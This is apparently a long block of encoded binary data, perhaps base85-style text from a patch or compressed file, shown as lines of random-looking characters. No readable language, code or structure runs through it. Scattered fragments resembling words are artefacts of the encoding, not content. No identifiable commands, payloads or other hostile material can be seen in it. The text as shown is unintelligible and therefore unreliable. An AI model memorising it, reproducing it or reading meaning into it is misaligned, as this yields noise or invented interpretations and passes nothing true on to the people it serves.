zYDK}5=&cW4o+6(69|ECQptjk9x&H!$M@9!&wBV#;q3k%(09^#XV2f%mdpH$ z+D@6<(mZ$Odo<6TIhoebV0NZH3ugah$*T?J%YCL5J_o?_;-Mv2?{RJL8Cs)*<2<0X zJD77KQ^1EOiRV<1c*f}0g=gh>$!m461N0@2475!Lb?+79Y0NG2I~ohkd5s(&u8pNO zuY&rlez6>Qe-CSL@PQa`eZ{kUf_OUHo4|ACh9UR>jZfhCwP{{3bBCjncKB5Bm{$*k zr>dj)Ef)JiDFHmC2k`XzL~p&e*UBgfyO9M|cmlGk5Kc^dYTd`+sQCzt;hLVg>`$Uv%faxoNlh@mys2~%SbHP+2c+r3ZsuD)2|2Gmc- z`b4{GVE3(t;LL9x;C6ma;BQ;RGmQETInKF^U~teJ6L9VeYi;O8-SrmtL|C&ogMRg2 z4{&-?F!%)hzHnM=I(Fvw5%%E8Q9j`QF>*hSpJ|GFWch1(&a_)C_g9tbmEiF;k$ZNC z;{R)H1$g%8mjL(jm$Zp}T%bqLx()nHxV<$@c#Ck&Kck^9DHsp4Q};Z1yoS~vDB>|& zD}npPipP1acrGP~el;M=g% zjZ0>w_QBSOs3gq})?kpG3PS>v+`Z zXbAsv%SiZNQk`@BGL;&GyNxx3C;Dg$a69MXV8^T^_?_-1V4WQI-cmnPPs@5BP7lSi zqN%KX(X&xY#MwjNbX=ZxucQuB7fLz1{ip*^zw<4?$IiNgU25B-4RFU!i8I;MUmN~3 ztMD4weM-_^SX~9jRbgBj;$$aFz7}qk5i?V%2ftTF@PAqDgnDTA)D$sS(|Zmd*W=;= z;8HJ)!S9|6ckz&X*Jb-4-_4gI;ji>S&S?sb&*%7!XiPryYFc}TIhxkkVa}j2@XUHN z2A=rE(G**qd#Cg#t(R(cG&e=7X;x{x#k2 zY1&UcwDkzr|uNt z#{r?Z2Ey`1KTG2d8W!r6souD4yj83<_~G1eus@ZDJr8JJ67zH~(Thh52RyKWXQ`6bVx5b&VxaE( zx?Yq&c&U$YglQD!L7(XA4-UF#0ye7P0*>n-9(S74#Pg}gQ9UqUtr`m+LGRnFH{Dnj zoVT$8cpP01?72bhz06(@WWIK{Di+YwzKXtWlO^@LsE}?6Wxn2{AU%Z#B=kV*j z8|HTxbC>z!-hRRcpT!eQ&n2FBpQFTia!b~nsdQ5O(bQ+h{)u^#cIqHmPoojlA$wjW z$T|Qe!=;>W6^`sK{@HX+IjuX*g<)=6OV$K<94Q{t{j#3VTWYgne@1P|*L02O6aJJn zKune6>O}V)r@f%0?LhDOtZUVT=hCx|^+9)~t}Jc~2iy~$Z4(Xue#Nifo7P+^y1!hi z3NN7dN!DAPqjji?JYTFrz_;emx=%&=Kx@&XsZWRX6Q?EZASLGS)3mlyQQB!#9%gfT zA7(B_eSf@W=3`phf%!T;yO?MBx`6lEiM}~o_(`I8Y;MUqoU0W7e{}zHOlMl3hj}kO zW0{}djsZ^_QxWX>B?SEM;Bc@#_3?4q*L`G7A%~N`&;w~c5qoMWytt;M{gx~JgKMih z!heF+vE;P*)OX3eO5v_Fj+*t?PwUDvtzt9qJih9Rb~VwY4_kKV6^Kds<&*nw_p~ zwgdHLGha=y1|PpK{Mpb4x^~SDtnVKT&ZYh}j+0Mg@|iO)MuJW9C1xPK+pwoN%{gU0 ztfb9X(rPCq?ZCEf@O#HcflJUkEyuZeTVht67!6(Th~zuVUp#|vN_>5459Byqwzz^V zx`?OpN8xw5!gpy7CZ~NvZLodb=+^PLNo}*teYS^acI|b27Dto9!F`Vz!!ziQG;sO8 zDd5xPox#iLH;7{naLNK3j0*t!Jof_Izs~@V%1QlE>P?l1WsJ0bNp@P`~%sm*4H<41EsIi>~831yD0 zFW24`<=S{0BuyOIx;GX5%}U{(_HtakdP^DZDc5i*`u*jY zS2ekY6KM__>n8Eh;K7D+FP!+^3he+h_RDp(y_`4v6?Yhc{poj^V|vm07?o%Z>w<5q zC9RX7hu@Ic_6wKtZ=cyOF89jQI7=)NVc|Ng2k`nwjjsM*T|62bHwlY3vZ|Q@csp+GT`u zO3Qrh;oj8e(p1+!a)8=|+s)T~`@e239Nx)6t8qrxPh{g;1>Cuh7q~*z3gB!1hJlAQ za0hR#=LqiFmD*BP==x1EUipGY)7Tr{AE7aglVNUX@2@rbs4H7PDkryX_M&eq<}$zh zzjO@t`Ln#% zO=HD>pW4k>@0TcR;Fw&KHFKIPdare|Mpn0(Qik2spTcoAQTr$J@@JB-pAx4;g!mJ> zh`;S^S?geHt{v7Kh^KS9YK5*1?OkbM#{(8x?KZl0hR*aY!+if|MQ|>CUwrDV^K>-x z2d`RUtvxxbyKZaH_pEoku8p@0&Fy8roa6>RLhJP%4AZq`Inwi%Ie3uh)#y8s^^G+D zjyZmf33v;&|FCY-O8CYN8gE(@zkG@l#>genbAZRut?uEkP0iL_=j&@qyY!vA9%!Sk zSYPx9iYJ4fSKN+0Bi$O@W1jF5Q}O)WM09<6R&d(H(vI5Wj=K81ue4)FQ~xZt+4|Ex z#XO1bQ|1z71HoSdM6XP3JM0-w?Muvi=)Pv&MBgLKgENIYQ9BRo?Gz5t6WyA=+1c~d z&>H-L=AN_ugsxlW*q9JJ6NXN#tVLbZT_>e%{lQ=97+J3r911Q;_X6u7;r8GKbS$hp zO>qHR&o%~Mt6-*;|5x`M7&XELZPYXMY{A>O*5fwnh+h6^%l$^*XsNXm3;j)Q3Ag_2t4+_9>R901e4U;f%=zZF;Jg31Y4fM( zzH!>u@dvM^`-}C94*uHgLq)$S#XP{d)DFq|moV|PZ6Vwz&0nigL)T{OR^1AGjGo)9 z&)e$>uCO5#+?&QKuqT}Q8JW9|7tW^l{4EZ;^X@#1w#F*rZS;P^d`IE>&8?u{qh||y z-03;S9B{!Ne2(gY^`o`?!2eKPvA##)yf}ZnL;ig~1{^}qPky(2Ua2~GI^DC->0VEJW^q#L=n$xKx2@K zc*z2DoQuWF9l%3dlmlndns|J^ZYBy3?&A!7SqJ%+Nmv^JJ-wM1`1lG>jKR*HB4gN& z(r+2Z*N+#r3o(TLo7To*j|F{`GN%p=2QQ%K8|%(7a$K)WqM_GTuD!*7NO{go3xwy< z4B^@5VsO4X?eK#qEL7^MH?23w`Cg>C70mj#tAdMFllnA_k+g9i_2J1ja0FkhC7xG< zqz)tNi+*-=HTV}c6#e~359sS@jVvzDhVB;N_!n}|dh`>0Cym!-|5_Ta%bZK&b(te+ zye@NCu@>Onjiuh=lyBPr>i1-S@h~Y{>$#(jwg-9O5keCNT>77Jt!? zP=6(l$!tn}1k6tK9>RS0o;5g+%FlaS%%`zc%xg`l@1tn1mP4DQJuPO9@DLN(OX51U zL$d!5cSrC_dY5B8%+m$Do%a4$2(Lhvm3o_K}+JMA@_Bvafio70)?^x0uWREc+%)T5F{Y(G4WdXr(@zv=lv9sfR?m2f1wX ztmS%W+fw%EsrFU&F7Z?RBU($^!PIWgagt2s9DPX=&t2tQR8ZoKbP!KFMbC^9eW8+9 zG<|P!URxBu2fbsk{#(hbhKcAa>79o?Td96>uIa|bB}E2-hlPpmInEk-7Jd7$-_JM@ ze3Is4vObLNLFOUP%Yi-eL=RLvx9Pap|450Gv?dg~)0~RnNAw+3alCH*>i5}Y!PnMU zgKyI_fjy;P+kiU^wAK=$>J+|*9Be0SSTYK_HT5^K$9<(8xF_}3v;N-83|!1oIOIS@ z=zCsSflH@(fy3!Lw8<9Tx6h_rfAFz?-N2vPiC&zZb?h(y+#0+~@m%f{4gK>Q@$6~r zkNtEWxXRu-S7>cIt5v%9&%gcr!6wwU&w4c7@62Z?{!k~~n3*Ls50^QscV+OlK+#ty zJd)ZW*yt%(R@Ry7tdnWu;AZ1brKF+i6|8 zubGX%OB?Ha=%;_1$p58RRojLY=3^?z0IdB`rQ=7iu*}qq*^EhhrWPLe3_n6C2+aU8G z`mJGZM(fKl&uS}rDf(Sw{S~!`Gmo!o4({h7{_noxU#i3}rf_>2cfoN2ItVAyo(rt! zo~G}tqPFhNJ?Y!6i1Yf=cV7{I38!zgA|AR${Du|%wQyIb!sp&_S_hc9NlabMvPeJT zk_~=I{iE;OhS=9ra>0%9DN^M!}Y52Gd_^Yv`bqEm8@N&XFmco6hFOuWzX(@Rn z&^IRQvtwFlS2yU|Sd53)2Pbc>3GQzc2W~f@A^2OfCg7DZN#Nc7S>TpRoK!`3^Gb(j z^UY@9d!C|CR`fuHL+d8OZ|ErHulPFw`h*d!!1X=Ee@4kS@1x{q&d!R6B$foY;jwxll>#G*|qC6@EEK z^oR3=H!7YDN?uizW2~f<=b=(pKb1OZ?IU&4Mez?*^s}@s3SU=;mGbdP)_?!$4c?@9 zHjk!tyo>fbsB(JR!6u8~f+eTuA0! zWyEvijd(u&5d_a~8XLp@_7PFwxG&|w$IlspAFdG2Y9MKkDrLA)p&b0pMjL}W?Dhfg zxM~Yt^ICWa^(Aq6#!=leueu$Ky%@e-umd~M+HSlb#Q5Dt;QyM&X`AZk`jl(u$Q}&~ z?DVn5eoz_N?_k1@Na&MkoE5M6U%7;M&VLqD7RL>kD`A{{4nvy$_AR8-IxY z`mV%`|1EmpebEmu5WS@0`Fc-0wPQ%PGviT}h@j%AZ_Eb((a5wmZ( z0PyjvQl4Q-*)o)TXDj)pQady6sq{~2$*Yu7=l%YYy%oAC<;hXX)0XB4@G-Wfdz1P4 zTNkj^avzQNWr#?#2B$9x1LxBE3G6vKr#yIDFVUAy7fz!0H}-#9CS2Oa0eY^&P724_ zil-Qj5#l)6if00?smprkqY!X5t$)aRd@n=r(ee^=*^of!x0_jkyETmhZ&mUdxHSO! z=_EU_zl{@kg%baMJ@MRA_||w?^EshJB+|B=B6?RPPGkouPg7T^^QLKX>{~BN{q(o< zK+L|H@M9V`%XN~vz!N;k&=x#3x*T|VSz1efi>_b$s#`4f;P?_p`vnx~?`TdCbJAl= z@XShvn*JEw7|Z+Arp^43#v?JmrZ#QnCKbdpf%em3{o5DOPtiC=)`!s8Nap%9Hj+7y z#<(&!7%2KoB~FeK$B^~~X1^!x4a8jIo&h+qj_9>%Oe}jE(^y&N|7gw&vxO4VPKg<& z@Uu#8)+^@dlI>>uc*Cg zqWirbNc}R*O-lrTGjCXddmI)$(JdIdLr+QjK=J(BN%U&Z+~IFbYwdDg**W5wNPGCQ z{(#2aF+aU3{ufombF{6bHC4(`>xh)|j)(ZquP{T*#hoQ>7VW>xdA+?LdD*3jzWi^A z8BgmEuzzhS(MR91g1)q>r2S3v^4Nc5Q8n;cLql+5C9MJNJ;(lAog%>X??~CQmGazH zj%z_>Io=edoQIThzE|pY>B|Id-YwlV&~0Wt2e(l41ByO#cq@2rjHtlqq=4Ob_fIG=6mg_@hxe_6Az-QwO|cbA52L>S5Z8qIDNH z95e(!-rhosG}rBOv}Lz7*n`T(dY=QS;J>NwhV_>n{lFtOC4;TYrhv;F)xh=J=z;xa z`)gnR)a_x^p-BTR&qG&l4`^-(^W~5r@UgQdV4LcqCo5ylcXf}{63Xa)Tie?jg4$Gd3Ee+R=|Cv2G6a0jgnE?HA6Fcy=->twcPsM^e zE1unSt~q8Kn&-j1Zn(s>o0|sRx~=G57wSTv7g7iOW|(-cju#&DsU*c@r?cZ**9qi{;^BzSCwr-1*wDD^X?y#dbq;@hH^ zyxSW7&R->FhvUMxr%HXkvrUA5)<>z^8%vr&pEpW);BcvjSno#g=;uit_6g30e!8RR zQ^yIo<+TVb6&P zQqPIBMlS2&=cLa4Xukhg+UK!geEaCJjls8BRp1@uH9VNAw-7Q{fphp*i@)KJlMFnFM`z_iXU#bji2=@O0?j)$4$5 zXC;Gs)4su69)Fr!!DF_^6e|Y(?0(7j>Vg31@9Eu%)Apcwi;pvPeW15z*9FhoDQryR zXRhYy#^71~a0mZWt(LZ!{wcT~`q8tR`4m0FnNRdg1P9MI05_%e6WB9Q;lH1@f!=zN z_=6ShGg)72O#c+*>;0xB*kif}IEminZq0}-^!U*`8}t3&R#;OmXo3fL0L_i%wdU$% zR@7#d)xB3_^tS;!)Cd8`_Y-~pv|#8x9jk!5bxhZejnw@v3~HDL-r7X?3#}#2p5nCr z9`mvrjlri*iN8Fp(ZQaev%+i62=@y~*M=JF#@kre2*udi)ZH1;* zLGyQ*?dbiMc>&GKV6OGv8*H{w_!^B}Vb4k$zsDR)Yc()mqrE(sCuC9IXi*uq(7H*? zPo7zT1L*sj^{Vtu%{;QXlxH@5ld_&edwerD8C3@SfaXfG-jLSAVGgEmTju0^N!v*; z2HwP{d$xG|NYGY9Pbwlo|kF{9#88zaN1w5 zM2|?YhJJBh6|k*~tbx2`+!)mTSqzek#2Ilr=QCD zil1q}IgZn{qg>lfY3v{Cvm@pDY(V`2tj9i;`ZPal0eu?%zOd)nw-(@0O4`z!;81I7h?tbK0fKSB5g3s0!?%T`*dMK?K$m`~nwG>`kEE@XOO@`nN4;;XTZ;ZfW zeg}XJY3ww|Y}-!qY8GG)-FKFFULW$%KL4R>W4!a-5&XlbGPqB&5qNve8sMGOhQMi? znu=cCUi>pVwu0v!t?|PCDlMyn@2(U7r?nF2S$=(Z#++#cE|UMze&%;kQl9CDMc02r?bStoD|+Vh z`iF1neUiCjs_0SYMYpA6WKS2GGs~Ppb7q-?M*D#8UDE@*&~F)gT2Y%Sa|QaHVh*C; zDdv_TvZmsowjR*$8QX&=(|KgS(*;?Nu~S?y^m6a zUsTF)Pbr(bqB|=3TBV%Fl{z`8oZp^86@b63$VXdPqDH$utx2KBkK{_KjR zUG-e@y+r$-v#0%8H}HmM;t4J(@z>J#DfkoNr}iE~cz z{4>lS9)ssnhBCo&EMCfW;^!~APk`{?FyU;4bAv>WQ+Tp+T#ia!V-(Lfg%g#StCeHV zdnw15Lvyvbu1YIqz82vNeWh~!oLcAw{YANG@R~+aSG{S@FUMRo!UsIHhBUKiSv*4E&C=cm*2fqx4uc1Oaq-pT?z$zFK7gYX{O z=a*xCvl9-d_0U+q_geJfG?$8X=*a$fSC#q*rLg*oP+>3(3JL*h5|5r2wO z{(;ewwvFPCQ2Yss?x5(ml;fJWPTq&tD#vwJDVz5}DUYpkT;G*AXO*;>e)f*sGK{N0mBUrPN^_t>M6R_>20=na6v`eKGs9TzmIld%-i7 z`YzdT-q%F?_qT3eq~qgaz*omcftLn{gDq&BB>TtgG13k%)y;ozOYJ$l_PZ&qy~b=@ z%^p0T+C^En$`&3*V>?;D>*fJo5*rM@`P5ds{8qOX+2=kqKEH^6()y^({b?N)<~Q?g zwIxMkP=8jDwFghWXas$3yEfoYv}YEtOTWO}4;;4I6uj(LAUJ=UE7;|tq^;3b{MYq7 z;4yQQnB9Fv->Afyuf%CkSv>Jif)VFTban85=cEkPf0T#5z*f?(^AR4h&>Eg;Ki$El zOhdqNN_nPUkmEY1#7U(-9j>c?zepU*1D?>|f42gEJ0yDeWr=A$#UGxd%CVnS%FvbG z$vLlfv^O{NX!@39{?J(Jr!Vb&z`7Cr{xa83k~sPF4$OKl`aNR)bB&7@JSw=bZ{={5 zHF(~tNO1gW;j#+Pp}jLWt=k$Ou%D9l(;F}7xu(Js8V6{+PrS4kM(g_W-Vjadi04j%uwyUrFK8&b zO>N=EipQ;i=s*lCP%8b+}B) z_q9^y(aN!(Rm$V5)NPeVlGndR5_9-l;q#-4;rxz2FFaSN!)8hyK072a*F4oj+6Rv$ zX7FH%Q(HNwSJEVHWhLeV<+`e_9LqQ5*h?zqDXygLr|6N2{(YVc%J$95PaA$o_b!?> z$Qk@`ychWEURvv{$Wu=741VRLc`Vh9IZ3CzDtLdHPmA`oi7r_Cw1{&Q z-Cxlw^``YIi##P2ZZ$g)dm_y5VS)9iZ`tcZ*Hb*X)E-hbRyP-Wg2I=B0-=|pc3Spi z(R&p0n}?FN>uk|i-ExB`iT0vmf7X<6aIT{7QuJO!EwE3)r?_x%+F;ScUPePdN9#iK zeg~z8JAmDv1%OK_>_}s)*#DuS2e?(MP;l=hu3!sV+lT$#X9j|k7m8joM`GUFB>GHR zyN1&qq;@vuqkTlbM02cIkJhgNUav3u!)KAu_nxu_AE_&QI!tsogg&jW_}iBePZI-s zcwWVtfejo@z-x<1zH6RKoNd&0$K~ujrwTZW_Bdm`N@^ftnZ*cdgkl2ei8Gfj0miC zzhyuO_)qGm;5G0gSBhsS-D|AxpnH%xl-{+N4^v+c^Fx~d^{Qwsg0Bh}dme?o`6|`$ z0dILN`Xy>#<^B7PZZ!nwOiR#)=;_A&T5Z+`pWWjJPfN3OaJe<9;A6Rsz!8?Mz^=9# z;J|B!SZjULvohe3g9E_T_L_k^DV)B_8~QaGzs+m8FX|fxK1F*uvA&k(Rq^__`_~r- zzuapK-r3#^te@r#Zk{Rr@vUv4e=)QH@BGUFyvbKQjh0(L&)jMRwpbei4xl+BT(*rj z-N6m_N!ea0W!s{Z?VD1z`I(aM2_q@nE2V4)o=E)svC+tDW)DZ+Z5t3JnDJtsM*=MC&fHXAR9MW1j0NG3Qkg zE=TJduxEUxA$XR*Id~hbJHZ}3#oxtC^hye^`epW8k>5C<_NR@#~1Nm z=v@Y$sYc>C_E9{SzZ)WL3z{>_amxM_-GS!$vVKI-XDj+}13P%OD|x+C@_MS|)m6!> zvJx{uiTU}w9B=uj?uft2#s!>9^P#wG4;B41J-b*hGo=E!`#nAINF`=pTZvh5O8`92 z`%4-0?ZxvU&K#c4&cR?ebE)U_Vl|+*qp><%9yf1EJAvlzvHtzD_@6mhK%Yi!+UyCT zF*bbOuPN6_1?4(C+ zl~SJ8iau7+*C_g9MX#a6AFRYrSM*uo<|xnYXgT)oi{!X|D*6OPkBSlhVMVW`=&KaH zic*G8N|_&gD~~diQ_2>v`2BjMYq$J$zh4b$3^tGF|8mS2Jkusl%V?z=m;Nz21sv9( zB|QEAj>U8G6U~L;=W4OW7T^QhlE8_5%77PV)dqi|G4q^uAdNX^*3UNs*Z=JTKCq`T zxB<-rWxr9amSE>Eso;KoqW2$Y0^L2{0qe=f4@=e-X6cUC;+ZvgJ*}O^x_-@OSU3Jb zyl~LC0O|Fe~Djku*b;_2k=0)1U9jWsRul#dYJ z=N1J$x@ibFGE6-8s858`-c`FcSn%Ds5#UFbk>KaFE(iP9cQyn+%?kl9|B;Hl0BoO?1c%denD+~~LTfoP+Yd?x zH`?b3e(*jJ9J9j=JaMk&9`W-G0$-x< zZr1zIdk*vCEe_yj^q$GOdmkULwp|Zv{;%I5T+1&K`ff$fSGbzuS)}NTD@JP`Q*`&# zp>HwZqz#7Pw(VWP;g77bkAU+KSMZDZVc&)hQ__HXBF*r!u+X+ z#GFO@kFdT>iMfsD#t|n&^YCz87BjOoJX}-T-V$Ss2!^Ds}My)&3^(({&iFs*;c{M|DYydgdo++m3&*pSu{V*iK?CvcWwHSi#Xy*C>| zA3Z7tT<(^X=iyf=!z`Lp%<<3VT7&&*-vQPu(i(KkU6tdS{oV!o_(>JP%Sy?<1C3q1 zp{LW_WR6oiQt~|+FML*sUxNC)*xx0<47_cJl*eL=cziYqpP;=RIc+^fuNYEAn>TrBAp)$o&;@LAQ|6-HzhZzrK1SAz1n*b$Hi~{u(R(O*XZqgc zJv$ED#ehwx3ft2<4D10NZtK=o!%RHkCL~F zCr9D3cOQCB@^Rc>WCYg?|@)$8nq_`o3fSgW9W^4a`K3 z`6Pb3;-V)PmwFi9#uRDeyNZ9No+0$w!;`dozjX6ncXp3xRgR~G4& z$J5%jMf{8Ab}@H5Yz%&3DV`=)!gUq)R5&lk2WdMwRR`BHw*vQiLh~_;@;#SGb481I z5A6%jd#Nny=n6g;8wKv09tgH+Bc8E6BB49dnoAsKbvFxbWRmXPW7q|M@M0RL%KC=h z;<*vn2>O>@hTsVLZDRkSd<|@Xx(Gxq*{jHvBx99HHSHa8&H27 z`#=AV0(&fym^llCYf?KB`?n~(@;?pwSsJgxo(O7dVveTyFU-@Ge48urmk*Khyyz%t zi_xB~oYqrG+m!ZgWWAfh<=2`)FCOCtc3Nf%zWYkXQT&-Ho?(5Z3>M{W;crK6t(@1+ zUKZd-F&^NoOgY9!o&BH>_7YD^`cC0E3tPH_bJj?i_rEZPey)!T_@8L;r!0~0#NZ9W z{r5}SMI9yP6L%?(J?%5XWw=XiJIwd!eqrvc#JSKz>S18l;_#e)EOG8P_JUrH)??u~ zPPE?9A0_G*wq@xlY+^V_FjcFVy`=8LaHgkrDGdTKk6u8b-=yGB!f56IySujNU6QTwM$Bzd5S*azT~^d zr54g2Z&V*Vq*EHWV!q@RJX7L()BH-#cUVPwL5Hzy;K&`+!@|`#goQ|Fb}&bx=St5)0SDl zGkTmSIK|Kd{CI6JxKnp$aNGlLa8)&x-~9b~EQwJurW)BYM@R;t#tjdT$!@$^Kv(^T`}eb1Ipe(L74# z9L4XZ_y6wj znOo3#WY(wi$XuD;QJHTB(VAdUy0jN*k1*y7^n1$unf6a%K329m%K0cp`0tJp&|6X4 zAn!flLcjIAM?=bVSFqhT+6S;`ZwS9(qVMT%4n25M73|&6dO$L`+pA!(M{C+&a*XcT zSfOzvVcI*D^{lU1;6}8k3G1aEdx1|cG6P%wRS#{{k$Y&aeRFCv=_g`us+>L{ER|4n0X>=MJIJ&+2)Cj~tY|W=xSi9XcKr z{gzv0`0JGn0C%Hv#AUcc*8uYsx(1kEd=$MTUC*pfqU(w|fUYa%Ei|^A`5KKUXZEJ+ zjd}YM2k?_aqMr$p{R_6xe%9=7tJKvGlSG-jANTdB9$`=T#ZxV6H2X#Z|b zn?_^Xm`~B3KFrq2UKI&TU7&seLi%U?uM3Mi5 zhp=lEYNII9yKa>0!L*>Aq(~oIlAixX987yjGcS22`%Uy#_(>PpV`2r($C(|V+w;g} zt}WQ>u{HR*wdk{GUpDp++8$BJv~;OfZjxO8YdfdGbBtoM|1_;p&phai3;39G68cp) zDXhP+0raLF1Hd1iHU$q|QdgVZMmL7AY%1-|TEyAgsQg82GTjbr_EPkt-%_EsTGh|g#NZ;Dbz0S7=Pur1< zb>||;%O0QQX;|a#e{przVO4Bh7(alC0V0Zo1xl(YAO;4Z(xB3f0_s(-t=Qd#U8vZ4 z?ax;1?(Vp@*m>>x)|{CY9{&10@AK}p*WR=D%rIxqp3AUr8|op=na{%aJyFkX$#qSc z(}eWEh3>R}Y_&BUv$ZZvH_A%gcdi!fQIC7sEeZ`KeM1m`kJ#?CseV0bCxiBO$l>*? zUtm8RWzA|fc-l-*$DzVgHCE=@8F)795v#8C8va73_m2Tj)-=_B%SWfHC&q9jJg-(_ zz5reJf3Ly3{?;fiS?^Ke*De%I-0URlMV`l!zH_uOag=`;@uqI9SACL5`o(#n#I4$J zOuLR;R~MMqxL((zSS#Y3gB)in{2q>;`Y+oOkJ!cap6bEzo0g6tkLQ~d;#O1Ai9_<^ ziC@Ec4CCkRDnaXn{f6@S@cIzu&Lf$fg=gM+Z~b>^&EWljFO}76uF|*d2ifR#D+B$@ zJ>DBRLTJxjfJZ7|(Z?{PQqcni-u_-$SJ_OXwF=ioH8Y=D7obJJDt zhvEB2&WFaSIY$}j!}bL0{YgT9Q-a4>2IzRt5M|BdSz#Q{ux&JXx(a>>@7ds39RT{r z(rOZt{vj4y3%)JJ1{G0b!Z#0(kS+$%!5BnNX%%1Rl z8H{goiv3RCLh0Kymp1S>YYxNr!tk3lEspx@dAkdbCFR(ygYOWbr;+AS^q1nhJnPKW zZ}&vPJ2yBE;U^Pf_*8~2Vv;(>l=p}HwehKNs5X8SZdObkKYG2C%1T`!*`@V4bOld_ zI9CrmsOAq_8c|&Xz~f#)EvvA3S>}fp%rCWjdnJBD_)f0U#vJf}n#gk@ZIshza1k?goG6?m#)&Dct5@0{Xb`7Ck+OO{(m?NA zRMq1QbUS$GU5S%spwFzR`r8}m?wY@=fxb%fXB+65@GVOvK3saKf0RBMt>rVuKwqrs zIR<(UyQ=y)vkmkwQ#|#0o`GKJfZCr*UG{K)tK^{Y>(Um)G4F~H_di-u&)Xpm&acga zm9o)~%aDH${J(=S@528_$RUrpt{=sDZjOQ9(a>Y_$eMWIS4TbHg}UUmuUR7Jc^H1f zRm#3F@LX)J_N~4@0~+Z)pTV=(P8~CfemKHIum1)e$EUt6u#N)rv4i)pkcYxv6AGI} za6c%12iV5|J%ix4W`%9RBXho69ln(Sx&!F4u2&z`9NY}_eP>=$y)@|#Yg!S{I?H7|`_cT%OdL z>Z-Gt^@85a|9*-l&zo`FpJ#-})jEtk54*CbLJRJzeBr+`pO1CXL!AFY_{|9WA-`WZ z@#z9?OO!X~<_X`mNB`JyS;Q`@*wbMg^SHk3NgvGm*siP(sLkVHmN=%l<;^I58PQj} zMcemJxp{^A`ANq@q}OiA z{j+Zhx2wabbn@(8$oj6%+{Up3IG@~R!Q?mV!~X66<1sK%#EjU(^U?MI^M{?xFU9=L z?94Hj!+TQLuCY~_6Dlze^NA%-@ZJ#OeXz#`mR<8Tjd)bMI>ddxaR0X-%6)j$(u6!i zgr~dk{G4n~o{#TbbVEj}|1+K!@5+s`^{4mF`i0db?jZCeq1##W`+84cjS9ZA_M|xL z$LjODZ};GL6ZGT>UIgEFMm+LP&HP5Y_f|Y}1$&od&laKQ3;mMNM{569 zDscvBdLS_7mJN*gDA&!Ku=hK*@%2LHR9K^n`aaRm<%B*RzDtgtBclH!L_cSWJ~VMx z{n?EoB#gPBH?z<9VDb;1*NS-Od1vD4e*B(GY+?31xEe~HtBo>=?~F+x&V%3g z@x7Q`{afp~DD2aK$4+UB^TiDE_;rXT4vGsSZs`+4JOIv77<1dBbmGgE*nfRx66vwa znaz*Ik?y2RCZ6cW`GMtYY{Wr^3r9LG3)-ZAI3 z>4#!1=qbW_}|)*$;&t%=zCD zZCtyE_2zq-Uy3%S&*An~Txdi&7rMx~tuE@X8=tAJb=mNj1##0-4#dV=s}Q#>0^eQI z{QZB05Kq&2(7f3BD~0riA5w{PZ?k9b<_hF@9Pdk9S#UD!Er!o~Eqx=2Z>{zx-nO9% z@h$kR1pO)Dt%>tSMG!xnX-w>WoYyNZ{7{?pG4THv#(8vyd9KjSZm_-w_H9Q0|01}J zi$vKe2ZPD8`m;6h!vo309z{9-+pv!!#!R;5n7s?dlOEF7n|R)WGQ`DW)MvcPd3e{z z!lb*;FxB&Sc=jv*->h1qo?ia|dpOBw^=DUCQ~jX(`Z+>0o$j}RXA-=#iFvv#tVR6B zireD1z@Bu6a;zV2QHk_jk3)&AV7)!YtbVdSu_c_xP)`>9{Iq9j(mTB3cNlYEOyc^z zF*dvoux)T9dUl<0BU<~uF(&nEDk9Itmt@W>4RPfr6z zJwK3HITn7R-mZdE-}3vR?oI*pe&wTAJZ^1X6(QZ)#E!V1YenMCu+I;^oB2Y=owrRLEPj^9I^HN^2E!g zSreaz-vO~~@asCnosV$;j1)2NMy1n!FE;Jj?-9!LuJiRU8k1LA1rY1Rcd|aGn$tJ4 z>|hU7|Kwo(vzHD{9rf%0d$8erv;xL)rHrM1kN7v8GO%_F%R1d>y)}IA4Cl+_$INc4 z%}CF98bf8{gx(qY0b^DH9oapxEb*+6VB&FCLx^v*uSsmay$bO|SObG`?pG;Bybbn> zLH**H8pPJ|th+7e98T$qlc#wrJL0;Y@x(h_Gl-8nGcUWBN_sWe4*_6>nM3Z(o_H{p@7JMb=Yfr|Hc6S|W1xTJ`Ju3w%adVj;CY~f zru!Jg84Je+J*7q2_pnze>Mnory~@`5d>^vDT&mtP!IE>>4*B3UF<<1iPw2{dtd4V_ z&L~#hNz+0#ecf1m*B{i6L=-riTI z+oAnFH39gUrYrfJv9X|i04Bn-V%*>0*l=ctp<$%27#vAl-i&pNZ%L&09L;6zMI2wD zI||Mep5Mc`tiRCzH=gyO`#hX+daO^X?dROy(8*f*FBu#1UNIVIvYWH z*HW-QiM9vDE4W`mo^_EqRdAy#tiKof*Q=}_5Paks>pw>E@m(v*u0EPT^Ti2B~Q&cwA~Zxhsg1xJ~44v}7|?$$+9*%cz6zOl)qFMY)Q{8046t-T!oxX_npaQrR4+^%;0xm}Cz zbKm}5wKdfh413mL-|kw=o~MzlXTiNUdKxrvC0+{O-%<4ZxIf2mKJ2Bh=!XpS6=wDH z`Y8i_=P+Z6Ibtbi`5c91Pxfp2d6yzWaurm62)0+mlj=N5L}_^ep?r<79~#lNVqdqNma~&L{U+9nz-@&+!#W zqz@U+Yw*tbr_-J-g>NPi#|j>GgZ0%uLFCC2yhivBB()|_l|`_>4eSpS2m27?^<9}e zgPNJpJi7nLM(@c051zZ)3%|l`w6*sN7yZHO@IP!cqPmh=nh>uFH=#WQ7Q;OQ?orbZ zo<$=+hU-4^=4#Akg}<#6>)%A#kz-S-Z2Qa1OPhz0o(R8FWBfI5c%PgPu?eI<61)$- z^N#*T^V<*)&0>8)1ecxPjB|VD6h(g5X!hKmWlXx64fjt%VLnD3zH^*6yENpSqcXWaXPG9G=fH^RGPd!JD8MKMns9OyAZHI824q{y8 z!0(Kh&#Vj{CtVlu@pYKO`z8$&WjB1`<8mjN+c;q%$6V^4Me$c1WxbtsIO#@Xxc{GC zk^|;_de0@{ zQQ}NYRFB;)(B-+vC8`|N8x4CMDDexxldS#jrj$Lk1NPto{f&tE!5~h_MvfGx)L*a{ zBKVcE_OMd|KHvN7(-X_NY;G+eCODNxNrL;x8Glo&({w zmik0t^f&=Kmf`!lby{0ILGP690TI-GOZHLwR*AW8x3TVsvHCms*Gh&?B`>&&mH z`^ng!h5J>F&-C&jZduWW_#u4%7d>0{6xQ|sk{EF^cs}Zr$JtyKX z@D2`oeAX~$2)$Vp>%&$sCkcJP8!KI#?&@0W^xl4Yz6E*y*4BS2IjrC7O`iOn?s_f| zZGoR8b)B{6Dhj)3*J6beg+9GFkFoRfYUtzq2G0?#E|a7`=iTlRoSV<&`g%VsSJK_r z{ACUN)`?~G9$V05KW~l=qHi6pE~9=MG|~&!ZThRfK`3qXX~N%0>^q`?-tP%<{Dh~? 